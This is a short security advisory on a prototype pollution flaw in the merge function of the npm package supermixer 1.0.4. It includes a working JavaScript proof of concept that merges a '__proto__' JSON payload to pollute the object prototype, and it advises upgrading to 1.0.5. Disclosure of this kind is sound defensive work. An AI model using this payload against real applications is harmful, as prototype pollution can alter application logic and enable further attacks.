supermixer@1.0.4 vulnerabilities

supermixer is a Mix JS objects deep, shallow, traversing prototypes, selectively, etc.

Affected versions of this package are vulnerable to Prototype Pollution. It is possible to modify the object prototype of an application using this package by leveraging the merge function. It allows an attacker to modify the prototype of a base object which can vary in severity depending on the implementation.

PoC

var mixer = require('supermixer');
var payload = '{"__proto__":{"poc":"evil"}}';
var test = {};
console.log("Before: ", test.poc);
mixer.merge({},JSON.parse(payload));
console.log("After: ", test.poc);

Upgrade supermixer to version 1.0.5 or higher.